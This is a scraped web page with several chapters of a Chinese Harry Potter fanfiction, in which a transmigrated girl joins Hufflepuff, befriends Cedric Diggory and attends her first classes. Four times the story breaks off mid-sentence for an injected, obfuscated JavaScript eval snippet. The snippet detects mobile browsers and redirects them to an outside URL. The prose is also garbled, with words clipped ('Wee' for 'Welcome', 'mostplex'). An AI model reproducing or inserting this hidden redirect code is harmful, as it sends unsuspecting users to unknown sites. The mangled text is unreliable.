‘Ravenclaw would cherish your unique perspective… Gryffindor would wee your quiet strength…’ (拉文克劳会珍视你独特的视角…格兰芬多会欢迎你沉静的力量…)
‘But… that core need… the Qilin’s affinity for purity and sanctuary… and your own fierce, unyielding desire…’ (但是…那份核心需求…麒麟对纯净与庇护的亲和…以及你自己那强烈、不屈的渴望…)
‘Yes… The path of the badger offers the grounding you crave, the nourishment your body cries out for, and the unwavering loyalty that mirrors your own. Your choice is clear, and it is rooted in a wisdom deeper than mere knowledge or daring… a wisdom of survival and the heart.’ (是的…獾的道路提供了你所渴望的踏实,你的身体所渴求的滋养,以及与你自身相呼应的那份坚定不移的忠诚。你的选择很清晰,它植根于一种比单纯的知识或胆识更深沉的智慧…一种关乎生存和内心的智慧。)
‘Better be…’ (最好去…)
帽子裂开的大嘴对着整个礼堂,清晰而响亮地喊出了那个名字:
“ HUFFLEPUFF! ”(赫奇帕奇!)
右边第二张长桌——铺着黄黑相间桌布的赫奇帕奇长桌——瞬间爆发出最热烈、最真诚的掌声和欢呼声!许多高年级学生都站起来鼓掌,脸上洋溢着温暖的笑容,仿佛在欢迎一个失散归来的家人。他们的热情是如此质朴而有力,瞬间包裹了索菲亚。
索菲亚摘下帽子,手指因为激动和解脱而微微颤抖。她成功进赫奇帕奇喽!她看着那片热情洋溢的黄色和黑色,心中涌起一股强烈的归属感和一种如释重负的安心。她站起身,走向欢呼的赫奇帕奇长桌。路过教师席时,她看到麦格教授对她微微颔首。邓布利多教授银色的长须下,嘴角也噙着一抹温和的笑意。
她刚在赫奇帕奇长桌的空位上坐下(旁边一个胖胖的、有着和善圆脸的男生热情地给她挪位置,小声说:“Wee! I’m Cedric Diggory!”(欢迎!我是塞德里克·迪戈里!)),就听到邓布利多教授站了起来。他张开双臂,脸上洋溢着慈祥的笑容,声音洪亮而充满魔力:
“Let the feast… BEGIN!”(宴会…开始!)
6. 第 6 章
第六章
“Let the feast… BEGIN!”(宴会…开始!)
他的话音未落,索菲亚面前的空盘子里瞬间堆满了食物!让她馋得不行,止不住地分泌口水。烤得金黄油亮的火鸡、堆成小山的烤牛肉和约克郡布丁、闪烁着油光的香肠和培根、热气腾腾的肉酱土豆泥、整条整条的烤鱼、各色蔬菜沙拉、还有大碗大碗浓稠的肉汤…空气中弥漫着令人垂涎的混合香气。
周围的赫奇帕奇同学们已经迫不及待地开始享用,欢声笑语充满了长桌。塞德里克热情地帮索菲亚盛了一大勺土豆泥和肉汁:“Here, try this! It’s brilliant!”(来,尝尝这个!棒极了!)
索菲亚看着眼前仿佛梦境般的食物盛宴,馋得发疯,把过去十一年缺失的营养都补回来,想大吃特吃!
但是,不行!
前世的知识和这具身体长期的饥饿记忆瞬间警醒了她。一个长期营养不良、饥一顿饱一顿的“穷鬼”,如果突然摄入大量高脂高蛋白的食物,身体根本承受不了!轻则消化不良、剧烈腹痛,重则可能引发“再喂养综合征”,那会非常危险。她必须克制!循序渐进,慢慢来!
她深吸一口气,强行压下那汹涌的食欲。她只拿了一个烤土豆,十一年来自己顿顿土豆汤,这是她最常吃的食物了;小心地剥开皮,又盛了小半碗看起来比较清淡的蔬菜浓汤。她小口小口地、缓慢地吃着土豆,感受着食物温暖的质地和天然的味道,让胃部逐渐适应。然后再喝一小口汤。她刻意避免了吃过多油腻的烤肉和浓郁的肉汁,只吃了一小碗,可它们散发着致命的诱惑。
塞德里克和其他同学注意到了她的“矜持”,以为她是新来的害羞,热情地劝她多吃点:e on, Sophia, have some roast beef! It’s fantastic!”(来吧,索菲亚,吃点烤牛肉!棒极了!)“You need to build your strength up!”(你需要增强体力!)
索菲亚只是感激地笑笑,轻声说:“Thank you, it all looks amazing. I’m… I’m just starting slow. My stomach isn’t used to such rich food yet.”(谢谢,看起来都棒极了。我…我只是慢慢来。我的胃还不习惯这么丰盛的食物。)她的解释真诚而带着一丝的窘迫,她的家庭情况就那样嘛,她也不扭捏,毕竟内里是个成年人了,让善解人意的赫奇帕奇同学们立刻明白了,纷纷投来理解的目光,獾獾们就是这样善解人意,不再勉强,只是继续热情地给她介绍各种食物的名字。
目光自然地落在身旁那位热情友善的同级男生身上——塞德里克·迪戈里(Cedric Diggory)。他正兴致勃勃地和桌子对面的同学聊着什么,脸上带着真诚的笑容。 塞德里克·迪戈里! 索菲亚心中确认,前世在电影里惨死的他和我是同年级新生! 虽然才十二岁,但他身形挺拔,眉眼间已能看出未来那份英俊的轮廓,灰色的眼眸清澈温和,举手投足间带着一种与生俱来的沉稳和友善。就是他刚才主动给自己让座,还热情地介绍:“Wee! I’m Cedric Diggory!”(欢迎!我是塞德里克
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928776|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
·迪戈里!)那份毫无做作的善意,让索菲亚感到很温暖。
想到他会在几年后,在那个可怕的迷宫尽头失去生命就很心痛!心脏像是被一只无形的手攥紧,传来一阵钝痛。索菲亚低下头,掩饰住眼中的波澜。她只是一个刚刚入学、营养不良、连魔法都还不会几个的赫奇帕奇新生。她有什么能力去改变一个既定的、如此残酷的命运轨迹?
但是她看着塞德里克优秀的侧脸,想着既然我来到了这里,既然我知道了…我就不能什么都不做。不是为了改变历史的大势,只是为了守护一个具体的人,一个值得拥有漫长未来的好人。他是活生生的一个人,并且就在身边。
我要变强。索菲亚在心中默默发誓,勤奋、坚韧,种花家的女人决不认输。她要努力学习魔法,留意任何可能改变未来的蛛丝马迹。改变那个死这么多人的结局…哪怕只是一点点可能。她不是为了成为英雄,只是为了对得起这份际遇。
这时,家养小精灵们似乎又添了一轮食物,是一波甜品焦糖布丁,黄油面包,各式的糖果,一个烤得金黄松软、散发着诱人黄油香气的小圆面包滚到了她的盘子边缘。索菲亚几乎是本能地、趁着塞德里克转头和另一侧同学说话的瞬间,偷偷把面包藏进宽大的袍子里。长期饥饿养成的习惯根深蒂固,让她忍不住化身囤囤鼠,即使知道霍格沃茨食物充足,这种“囤积”的本能也难以立刻消除。口袋里那点温热的触感,给了她小小的安全感。如果可以让家里人吃上这以丰盛的大餐就好了。
索菲亚最后实在是抵挡不住甜品的诱惑吃了一个焦糖布丁,真好吃呀~嘿嘿
城堡的灯火在窗外闪烁,如同指引前路的星辰。如同指引前路的星辰。
7. 第 7 章
晚宴结束后。各个学院的级长像鸡妈妈一样开始带一年级新生回休息室。
“Hufflepuff first years! Over here, please! Follow me!”(赫奇帕奇一年级新生!请到这边来!跟我走!)一个身材高大结实、笑容和煦的男级长(胸前别着闪亮的级长徽章)站在赫奇帕奇长桌尽头招呼着。
索菲亚和她的新同学们,包括汉娜·阿博特和塞德里克·迪戈里,立刻聚拢过去。级长带着他们离开依旧喧闹的礼堂,穿过灯火通明的门厅,却没有上楼,而是沿着一条铺着石板的宽阔走廊向下走去。空气渐渐变得凉爽,带着泥土和石壁特有的、令人安心的气息。走廊两侧的画像里,穿着黄黑色服饰的人物对他们友好地点头微笑。他们路过一个飘散着浓郁食物香气、堆放着许多木桶的拱门入口——厨房! 索菲亚的心跳快了一拍,果然很近!
级长在厨房走廊右侧一条稍显阴暗的支廊尽头停下。这里光线较暗,石壁上挂着一幅巨大的水果静物画(里面的梨子似乎在微微蠕动?)。他指着石壁下方一处看似普通、堆放着几个巨大空木桶的角落。这些木桶看起来像是废弃的,桶身布满灰尘和蛛网。
“Right, listen up, new badgers!”(好了,新来的小獾们,注意听!)级长压低声音,带着一丝神秘的兴奋,“This is the entrance to ourmon room. It’s a bit… particular.”(这就是我们公共休息室的入口。它有点…特别。)
他指着其中一排两个最大的木桶:“See those two big ones in the middle of the second row? You need to tap the bottom of them, right on the rim where the wood meets the iron band.”(看到第二排中间那两个最大的桶了吗?你们需要敲它们的桶底,就在木头和铁箍相接的边缘位置。)
他示范性地伸出手指,用一种清晰而富有韵律的节奏敲击起来:
Tap-tap… tap-tap-tap… tap-tap…(笃-笃… 笃-笃-笃… 笃-笃…)
“That’s the rhythm of ‘Hel-ga Huff-le-puff’. Got it?”(这就是“赫尔加·赫奇帕奇”的节奏。明白了吗?)
新生们都紧张地点点头,努力记住这个节奏。
“Now, get this wrong,”(现在,如果敲错了,)级长表情严肃起来,指了指桶盖上隐约可见的深色污渍,“and instead of opening, the lid of the wrong barrel will burst open and drench you in vinegar. Stinks, stings the eyes, and you’ll be smelling like a pickled gherkin for a week. So, concentrate!”(桶盖就会炸开,把你淋一身醋。又臭又辣眼睛,你会闻起来像个腌黄瓜,持续一周。所以,集中注意力!)
他让开位置:“Who wants to try first? Remember the rhythm!”(谁想第一个试试?记住节奏!)
一个胆子稍大的男生上前,紧张地按照节奏敲击。随着最后一下敲完,那两个大木桶的桶底无声地向上旋开,露出了一个圆形的、向下倾斜的温暖入口!一股混合着烤面包、泥土和某种清新植物气息的暖风从中涌出。
“Well done! Wee home!”(干得好!欢迎回家!)级长笑着拍拍他的肩。新生们发出一阵压抑的欢呼。
大家依次小心地爬进入口,沿着一条铺着软垫、坡度平缓的通道向下滑行了几米,便落在了一个宽敞、明亮、充满温暖气息的大房间里!
赫奇帕奇公共休息室!
索菲亚瞬间被眼前的景象所吸引。她隐约记得电影里并没有拍赫奇帕奇的休息室,没想到是这样的。这里不像她想象中的地窖那般阴冷潮湿,反而像是一个巨大而舒适的洞穴之家。墙壁是打磨光滑的蜂蜜色岩石,上面悬挂着黄黑相间的挂毯,绣着栩栩如生的獾图案。天花板不高,但点缀着发出柔和暖黄色光芒的、像巨大萤火虫一样的魔法光球(也许是某种魔法植物?)。主要的照明来自壁炉里跳跃的、令人心安的火焰,以及许多悬挂着的、黄铜底座玻璃罩的油灯,灯罩上绘着獾或藤蔓的图案。
家具都是用温暖、色泽深浅不一的蜂蜜色木材打造,线条圆润舒适,没有尖角,上面随意放着厚厚的、黄黑格纹的软垫和靠枕。几张低矮的大圆桌散落其间,方便学生们围坐。角落里、窗台上,摆放着许多生机勃勃的植物——圆滚滚、毛茸茸的仙人掌球,叶片宽大舒展的蕨类,还有垂挂着藤蔓的吊篮,为石室增添了盎然的绿意。
最吸引索菲亚的是那几扇低矮的、拱形的窗户。它们镶嵌在石壁上,位置不高,透过厚厚的、略带弧度的玻璃,可以看到城堡外黑黢黢的草地轮廓,甚至能隐约看到远处禁林边缘的树木剪影映在深蓝色的夜空下。窗户下方还砌着同样蜂蜜色的宽大窗台,上面也放着软垫和植物,显然是极受欢迎的观景和阅读位置。整个房间弥漫着一种宁静、踏实、包容的氛围,空气中飘散着淡淡的草药清香和温暖的木头气息。
“哇哦…”塞德
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928777|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里克站在她旁边,也忍不住低声赞叹,脸上是纯粹的惊喜和喜爱。
“It’s so… cosy!”(这里太…舒服了!)汉娜小声说,眼睛亮晶晶的。
级长自豪地笑了笑:“Wee to the Hufflepuff Den! Make yourselves at home. The dorms are down those corridors.”(欢迎来到赫奇帕奇的獾穴!把这里当自己家吧。宿舍在那些走廊里。)他指着休息室两侧延伸出去的几条更窄的通道,“Girls to the right, boys to the left. Your trunks should already be at the foot of your beds. Find an empty bed and settle in. Curfew is in an hour, so don’t dawdle!”(女生走右边,男生走左边。你们的行李箱应该已经在床脚了。找个空床安顿下来。宵禁一小时后开始,别磨蹭!)
索菲亚跟着其他女生走向右边的通道。宿舍走廊同样温暖舒适,墙壁是同样的蜂蜜色石头,挂着小小的獾形壁灯。推开一扇厚重的橡木门,里面是一间宽敞的圆形寝室。五张挂着黄黑相间帷幔的四柱床均匀分布,中央有一个小小的壁炉,里面跳跃着同样温暖的火焰。她的破旧行李箱果然安静地立在靠墙最里面一张床的床脚,在周围崭新或半新但整洁的行李箱中显得格外扎眼,却也让她感到一丝安心——这是属于她的角落。
索菲亚没有犹豫,径直走向那张最靠边的床。这个位置让她感到安全,远离门口可能的打扰,也方便她观察整个房间。她将行李箱推到床底深处,只拿出洗漱用品和那件薄薄的睡衣(同样是打着补丁的旧衣服)。
寝室里其他女生也在兴奋地整理行李,互相介绍着名字。索菲亚简单地回应了她们的问候(“Sophia Smith,父母全是麻瓜.”),便拿着洗漱用品走向寝室附带的盥洗室。温暖洁净的水流洗去了旅途的尘埃和车站的喧嚣,也让她紧绷了一天的神经彻底放松下来。
换上干净的睡衣,索菲亚回到自己的床边。床铺柔软厚实,被褥散发着阳光晒过的干净气味,枕头蓬松。她钻进被窝,温暖干燥的触感瞬间包裹了她疲惫的身体。这感觉是如此陌生,却又如此令人沉醉。在克伦姆巷那漏风阁楼里,裹着薄毯在寒夜中瑟瑟发抖的记忆,变得遥远起来。
她听着壁炉里木柴燃烧的细微噼啪声,听着室友们压低声音的兴奋交谈,感受着身下床铺的坚实和温暖。
在这令人心安的温暖、淡淡的草药香和壁炉的微光中,索菲亚·史密斯沉入了穿越以来最安稳、最香甜的梦乡。了穿越以来最安稳、最香甜的梦乡。
8. 第 8 章
清晨,霍格沃茨城堡还笼罩在薄纱般的晨雾里,赫奇帕奇地下宿舍区的公共盥洗室已有了些微声响。冰冷的水珠溅在脸上,索菲亚·史密斯猛地打了个激灵,睡意彻底消散。她抬起头,目光落在面前那面水汽氤氲、边缘带着模糊铜锈的长镜上。
镜子里映出一张小小的脸庞。枯草般缺乏光泽的黄色头发,被水沾湿了几缕,软塌塌地贴在额角和瘦削的脸颊旁。脸上没有这个年纪英国女孩常见的雀斑,五官秀丽,皮肤是一种长期缺乏营养的苍白,眼下带着淡淡的青影。但那双眼睛却亮得惊人,带着莫名的沉稳和自信。她抬手摸了摸自己细瘦的胳膊,又下意识地踮了踮脚——镜子里那个身影,单薄得像根没长好的豆芽菜,目测顶多140厘米出头。
“营养不良,发育迟缓……”索菲亚在心里默默下了诊断,带着前世记忆带来的清醒认知。这副身体,确实经历了太多这个年纪不该承受的匮乏。镜中那双明亮的眼睛弯了弯,笑了笑。内心在想:怕什么?霍格沃茨管饭!俺们随时还能找小精灵加餐!好好吃饭,努力学习,总能长高长壮!
她快速洗漱完毕,回到温馨的圆形寝室,这时其他三位室友也陆续起来了。空气中弥漫着一股淡淡的、混合着草药和某种普通香皂的气息。
“Morning, Sophia! Sleep well?” 声音清脆,带着点刚睡醒的沙哑。说话的是米莉森特·普威特 (Millicent Proudfoot),她正笨拙地和她的领带搏斗,小脸都憋红了。米莉的父亲是麻瓜邮递员,母亲则是个在圣芒戈医院工作的治疗师(女巫)。她继承了母亲的开朗和一点点迷糊,是宿舍里的开心果。
“Morning, Millie. Slept like a log.” 索菲亚笑着回应,一边整理自己那套二手校袍。她看向另外两位室友。靠窗边床铺的是海伦·格林格拉斯 (Helen Greengrass),一个有着柔顺棕色头发、脸上带着温和笑容的姑娘。她父母在霍格莫德村经营一家名为“格林格拉斯魔法杂货”的小店,是地道的巫师家庭出身,性格安静踏实。
“Morning, Sophia,” 海伦的声音轻柔,友好地点点头。
离门最近的床铺上,苏珊·博恩斯 (Susan Bones) 已经穿戴整齐,正对着小镜子梳理她棕色的卷发。“Ready for breakfast? I’m starving!” 她活泼地说。苏珊的父母也都是巫师,在魔法部从事普通的工作,家境不错,性格开朗大方。
ing!” 索菲亚走过去,顺手帮米莉森特打好那个纠缠不清的领结。“Blimey, thanks, Sophia! You’re a lifesaver!” 米莉森特松了口气,感激地笑了。
四人叽叽喳喳地收拾妥当,结伴走向位于城堡一楼的礼堂。巨大的长桌上已经堆满了令人眼花缭乱的食物:小山般的烤香肠、滋滋作响的培根、金黄的煎蛋、热气腾腾的粥、烤得恰到好处的面包片、各种果酱、黄油、还有成堆的水果。
索菲亚的目光第一时间锁定了那巨大的银壶和旁边堆成塔状的玻璃杯。牛奶!她毫不犹豫地给自己倒了满满一大杯,温热的液体带着浓郁的奶香滑入喉咙。
“Wow, Sophia, you really love milk!” 海伦惊讶地看着她一口气喝掉半杯,又立刻倒上第二杯。她随即从自己盘子里拿起一个还冒着热气的牛角包递给索菲亚,“Here, try this. Fresh from the oven.”(“给,尝尝这个。刚出炉的。”)
“Yes! Need to grow taller!” 索菲亚用力点头,眼神无比坚定,接过了牛角包。“Thanks, Helen!” 长高计划,从每天三杯奶和接受投喂开始!选择了煎蛋、一片涂了黄油的面包和烤肉肠,几片苹果,这顿早餐的丰盛和营养,远超她在史密斯家任何一顿饭。
霍格沃茨的学习生活,就在这杯温牛奶的余香中,正式拉开了帷幕。
--
城堡外的空气清冽,混合着泥土、草木和一种难以言喻的、蓬勃生长的活力气息。索菲亚跟着同院的学生们,穿过几道被常春藤覆盖的石拱门,来到了一片被精心划分的区域——霍格沃茨的温室。这里是草药学教授兼赫奇帕奇院长波莫娜·斯普劳特的地盘。本学期的第一节课就是草药课,他们和拉文克劳的一年级一起上课。
巨大的玻璃温室里,光线被过滤成柔和的绿色。空气温暖湿润,弥漫着泥土的芬芳和上百种奇异植物散发的混合气味——有的清新如薄荷,有的辛辣似胡椒,还有的带着一股难以形容的、类似发酵肥料的味道。斯普劳特教授矮墩墩的身材裹在沾满泥点的袍子里,圆圆的脸上架着一副小眼镜,眼睛有着对草药学的纯粹热爱。
“Morning, class! Gather round! Today we get acquainted with our prickly friends, the Fanged Geraniums! Mind those teeth, they’ve got quite a nip!” 斯普劳特教授的声音洪亮而愉快,她挥舞着魔杖,示意大家靠近一排栽种在巨大陶盆里的植物。那些植物有着深绿色的、毛茸茸的叶子,中心则长着一朵鲜艳的红花,花蕊处赫然是几对不断开合、闪着寒光的细小尖牙!
“Fanged Geraniums毒牙天竺葵? Like… carnivorous plants?” 索菲亚身边一个拉文克劳的男生小声嘀咕,带着点畏惧。
索菲亚却看得两眼放光。她戴上龙皮手套,小心地凑近观察。这玩意儿可比她前世在乡下奶奶家菜园子里种的辣椒茄子带劲多了!当斯普劳特教授讲解如何用特制的银质镊子避开尖牙,安全地采集它们分泌的、具有轻微麻醉效果的粘液时,索菲亚听得格外认真,手稳得不可思议,第一个完成了采集任务,一滴粘液都没浪费,可能她带有种花家特有的种田天赋吧~
“Excellent work, Miss Smith! Five points to Hufflepuff!” 斯普劳特教授毫不吝啬地夸奖,胖乎乎的脸上笑开了花,看向索菲亚的眼神充满赞许。索菲亚看着温室里那些摇曳生姿、形态各异的魔法植物,一个念头在她脑中疯狂滋生:要是能搞到点种子,自己偷偷在城堡哪个角落弄块小地,培育点魔法水稻、魔法青菜什么的,那不知道能造福多少人!中国人骨子里的“种田基因”在魔法土壤里蠢蠢欲动。
然而,这种对知识的热情,很快就在下午的魔法史课上遭遇了寒流。
魔法史课的教室在城堡的高层,光线昏暗。宾斯教授,这位霍格沃茨唯一一位幽灵教师,正用他那单调、毫无起伏、仿佛从留
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928778|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声机里直接播放出来的声音,讲述着妖精叛乱的内容。泛黄的羊皮纸笔记飘浮在他透明的身体前方,内容密密麻麻,字迹古老得几乎难以辨认。
“……戈波克·格勒博在1247年第三次妖精叛乱中扮演了关键角色,其战略部署主要围绕对古灵阁地下金库通道的利用……” 宾斯教授的声音像是从遥远的隧道深处传来,带着催眠的魔力。
教室里一片寂静,只有羽毛笔在羊皮纸上划过的沙沙声——大部分是学生们在画涂鸦,或者干脆脑袋一点一点地打着瞌睡。索菲亚强撑着精神,努力睁大眼睛盯着宾斯教授,试图从那枯燥的叙述中抓住关键信息。但那些拗口的人名、地名、年份像无数只小飞虫,嗡嗡地在她脑子里乱撞。
这感觉……太熟悉了!这不就是前世大学里那些照着上古PPT念经、能把最有趣学科讲成安眠药的“水课”教授吗?索菲亚的拳头在桌子下悄悄握紧了。不行!绝对不能被这种“催眠术”打败!她深吸一口气,眼中燃起熟悉的、属于高考冲刺阶段“卷王”的熊熊斗志。
她猛地翻开魔法史课本,拿起羊皮纸笔记本,拔开墨水瓶盖,动作带着一股破釜沉舟的气势。听不懂?那就硬背!宾斯教授念一句,她就飞快地在笔记上记下关键词、时间线和可能的考点。妖精叛乱?拆!拆成背景、导火索、主要人物、关键战役、结果影响……用前世对付历史和政治课本的劲头,把魔法史这门课当成硬骨头,一点一点啃下来!旁边一位格兰芬多传来轻微的鼾声,索菲亚却坐得笔直,眼神锐利如刀,羽毛笔在羊皮纸上划出坚定而急促的沙沙声。
相比之下,周五上午的魔咒课简直是天堂。
宽敞明亮的魔咒课教室里,弗立维教授站在一摞厚厚的书本上,才能让自己的脑袋高过讲台。他的声音尖细但充满活力,讲解每一个咒语的原理、手势和发音要点都清晰无比。
“Swish and flick!轻弹 Remember, wrist movement is crucial! 手腕动作很重要Let’s try the Levitation Charm again! Wingardium Leviosa! It’s Levi-o-sa, not Levio-sa!” 他不断强调着,小小的身躯在书堆上灵活地蹦跳着示范。
教室里充满了此起彼伏的念咒声和魔杖挥舞的声音。羽毛、软木塞、甚至小块的橡皮擦在学生们笨拙的努力下,歪歪扭扭地升到空中,又噗通噗通掉下来,引来一阵阵哄笑和懊恼的叹息。
索菲亚屏息凝神,严格按照弗立维教授的指导,手腕轻轻一抖一弹。“Wingardium Leviosa!” 她清晰地念道。杖尖准确地指向面前那根洁白的羽毛。羽毛先是懒洋洋地动了动,然后,在所有人惊讶的目光中,它平稳地、优雅地升了起来,悬停在索菲亚面前齐眉的高度,微微颤动着。
“Oh, well done, Miss Smith! Textbook execution! Ten points to Hufflepuff!” 弗立维教授高兴地拍着小手,声音因激动而拔得更高了。
实践带来的即时反馈和成就感让索菲亚脸颊微红,心潮澎湃。她喜欢这种看得见摸得着的进步,喜欢魔杖尖端亮起光芒时那种奇妙的连接感。她反复练习着,看着羽毛在空中画出简单的轨迹,心里感到很踏实。羽毛在空中画出简单的轨迹,心里感到很踏实。
9. 第 9 章
这种实践的快乐,在变形课上立刻被麦格教授那锐利如鹰隼的目光和极高的标准浇了一盆冷水。
周一下午的变形课教室,气氛肃穆得如同教堂。麦格教授站在讲台后,身形笔挺,表情一丝不苟,镜片后的目光扫过每一个学生,带着洞悉一切的严厉。索菲亚并没有看到麦格教授变猫猫,有点失望喵。
“Transfiguration is some of the mostplex and dangerous magic you will learn at Hogwarts. Precision, concentration, and unwavering will are paramount. Any lapse can lead to… unfortunate consequences.变形术是你在霍格沃茨学到的最复杂、最危险的魔法之一。精准、专注和坚定不移的意志是最重要的。任何失误都可能导致…不幸的后果” 她的声音清晰而冰冷,带着不容置疑的权威。她示范了将火柴变成针的动作,流畅、精准、毫不拖泥带水。
轮到学生们自己尝试。索菲亚集中全部精神,紧紧盯着面前那根躺在桌上的普通火柴。她回忆着麦格教授的动作,手腕旋转,杖尖指向火柴,清晰地念出咒语:“Verto acus!”
噗。
火柴顶端冒出一小缕青烟,顶端微微变黑了一点,但依旧是一根火柴。
连续尝试几次,火柴还是火柴。
“Focus, Miss Smith! Your intent must be absolute! The image of the needle in your mind must be sharper than reality!集中注意力,史密斯小姐!你必须是非常专注的!你脑海中的针的形象必须比现实更清晰” 麦格教授严厉的声音在她身边响起,带着穿透力。
索菲亚心头一凛,额角渗出细汗。她深吸一口气,排除杂念,脑海中不再仅仅是火柴,而是清晰地勾勒出一根细长、尖锐、闪着金属冷光的缝衣针的每一个细节。魔力随着意念流动,仿佛要冲破某种无形的阻碍。
“Vertō acus!” 这一次,咒语带着更强的意志力。杖尖白光一闪!
桌上的火柴猛地一缩,伴随着一阵细微的、令人牙酸的金属摩擦声。它扭曲、拉伸,木质的纹理瞬间被冰冷的金属光泽覆盖,顶端变得锐利。几秒钟后,一根虽然略显粗糙、针鼻稍大、但毫无疑问是金属制成的针,静静地躺在桌面上。
索菲亚长长舒了一口气,后背的袍子都汗湿了一小块。她拿起那根还有些温热的针,指尖传来真实的金属触感。成功了!虽然过程艰难,但高强度专注和反复练习带来的成功,滋味非常地爽歪歪。她抬头,正好对上麦格教授镜片后一闪而过的、极其微小的赞许目光。
天文课被安排在晴朗的周三晚上。学生们裹着厚厚的斗篷,爬上霍格沃茨最高的塔楼。夜风凛冽,吹得人脸颊生疼。辛尼斯塔教授,一位头发花白、眼神却异常明亮的老者,早已架好了几架黄铜望远镜。
“Look! Look there, students! The constellation of Orion, the Hunter! See the three stars of his belt? Alnitak, Alnilam, Mintaka! And there, the red giant, Betelgeuse! Marvelous, isn’t it? The stories woven among the stars…同学们,快看!猎户座,猎人!看到他腰带上的三颗星了吗?阿尼塔,阿尼拉姆,明塔卡!还有红巨人,参宿四!是不是很壮丽?星星们纺织的故事......” 辛尼斯塔教授的声音充满了孩童般的兴奋和热情,他指着璀璨的星空,滔滔不绝地讲述着星座的神话传说和它们与古代魔法观测的联系。
索菲亚踮起脚,凑到分配给她的望远镜目镜前。冰冷的金属触感贴在眼周。视野里,是一片深邃的墨蓝,几点模糊的光斑在跳动、晕染。她努力调整焦距,试图看清辛尼斯塔教授描述的那几颗关键恒星。然而,无论她怎么努力,那些星星始终像蒙着一层毛玻璃,轮廓模糊不清,远不如教授描述得那般清晰锐利。
她沮丧地移开眼睛,揉了揉被夜风吹得发涩的眼角。前世那个被雾霾和光污染笼罩的城市记忆涌上心头。那时的星空,也是这般模糊遥远。习惯了高清星图和模拟星空的现代人,面对真实的、被工业革命以来积累的大气尘埃和污染遮蔽的夜空,真是不适应呀。
内心嘀咕:是自己视力下降了?还是自己这个望远镜坏了?看来得找时间让庞佛雷夫人做身体检查了。
“……因此,古代巫师们相信,火星(Mars)在蛇夫座(Ophiuchus)附近逆行时,是调配某些强力解毒剂的绝佳时机……” 辛尼斯塔教授依旧沉浸在星空的奥秘中,讲得眉飞色舞。
索菲亚默默掏出随身携带的羊皮纸笔记本和自制的星图卡片,借着塔楼上魔法火炬昏暗的光线,开始刻板地记录辛尼斯塔教授提到的每一个星座名称、主星名字、位置关系和可能的魔法关联。看不清?那还是得死记硬背!把知识点嚼碎了吞下去!她咬着下唇,眼神里是豁出去的狠劲。
周四下午的飞行课,是紧张学习中的一次快乐喘息。
绿茵茵的魁地奇球场旁边,霍琦夫人,这位头发花白、目光却锐利如隼的女巫,正大声指挥着一年级新生们。
“Up! UP! With feeling!mand your broomstick! Right hand over the handle, now shout ‘Up!’ like you mean it!起来,起来,指挥你的扫帚,右手放在扫帚把头上,叫它起来” 她来回巡视着,声音洪亮有力。
几十把飞天扫帚地躺在草地上。学生们紧张地伸出手,大声呼喊着“Up!”。扫帚的反应五花八门:有的懒洋洋地在地上滚了半圈,有的猛地跳起来打到主人的鼻子,有的则纹丝不动。
索菲亚站在自己的扫帚——一把看起来饱经风霜、枝条都有些分叉的学校旧扫帚旁。她深吸一口气,排除杂念,将全部注意力集中在眼前的扫帚上,仿佛它是身体延伸出去的一部分。她伸出手,掌心向下,清晰地、带着不容置疑的意念命令道:“Up!”
地上的扫帚猛地一颤,像被无形的线扯了一下,“嗖”地一声弹了起来,稳稳地落入了她的掌心!动作干净利落,引得旁边几个还在和扫帚较劲的同学投来羡慕的目光。看来自己有点天赋,不知道能不能参加魁地奇比赛。
“Good! Smith, that’s it! Feel the connection!” 霍琦夫人赞许地点点头,快步走过。
接下来是低空悬浮练习。索菲亚跨上扫帚,轻轻一蹬地面。扫帚载着她稳稳升起,离地大约一英尺左
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928779|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
